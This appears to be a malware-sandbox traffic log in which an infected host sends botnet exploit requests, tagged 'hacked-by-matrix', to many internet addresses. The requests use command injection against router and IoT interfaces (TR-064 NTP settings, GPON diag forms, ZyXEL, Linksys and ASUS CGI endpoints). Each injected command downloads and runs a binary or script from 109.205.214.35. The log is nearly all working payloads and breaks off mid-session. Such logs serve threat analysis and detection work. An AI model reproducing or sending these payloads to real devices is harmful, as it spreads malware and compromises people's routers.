Mar 21, 2024 05:22:14.945720911 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:16.396253109 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
378	192.168.2.13	42416	99.245.214.202	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:15.046124935 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
379	192.168.2.13	48124	14.85.156.28	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:15.100630045 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
380	192.168.2.13	42470	99.245.214.202	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:15.177789927 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
381	192.168.2.13	50788	178.162.174.119	1723

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:15.343720913 CET	270	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
382	192.168.2.13	48224	14.85.156.28	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:15.386599064 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
383	192.168.2.13	51068	178.239.114.248	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:15.993367910 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:22:17.070282936 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:22:17.268934011 CET	321	IN	HTTP/1.1 405 Not Allowed Server: nginx/1.18.0 Date: Thu, 21 Mar 2024 04:22:17 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx/1.18.0</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
384	192.168.2.13	42058	172.67.116.3	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:16.711750031 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:22:16.993439913 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
385	192.168.2.13	41810	172.65.226.72	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:16.711956024 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:22:16.993439913 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
386	192.168.2.13	41620	104.172.71.61	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:17.275048971 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:18.221347094 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
387	192.168.2.13	56700	46.159.48.195	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:17.345400095 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:17.591486931 CET	125	IN	HTTP/1.0 501 Not Implemented Content-type: text/html Date: Sat, 03 Jan 1970 16:44:50 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
388	192.168.2.13	35048	42.217.129.2	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:17.511456966 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
389	192.168.2.13	40376	118.173.145.231	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:17.511527061 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
390	192.168.2.13	57724	109.112.190.93	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:17.511528015 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
391	192.168.2.13	49722	118.39.230.83	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:17.511528015 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
392	192.168.2.13	42374	5.53.242.211	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:17.511569023 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
393	192.168.2.13	48708	172.65.46.60	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:17.928700924 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
394	192.168.2.13	48744	172.65.17.6	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:17.928710938 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
395	192.168.2.13	55218	172.65.230.44	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:17.928731918 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
396	192.168.2.13	42830	98.96.231.82	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:17.994488001 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
397	192.168.2.13	41696	104.172.71.61	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:18.462419987 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:19.404247046 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
398	192.168.2.13	56444	109.104.243.89	443

Timestamp	Bytes transferred	Direction	Data
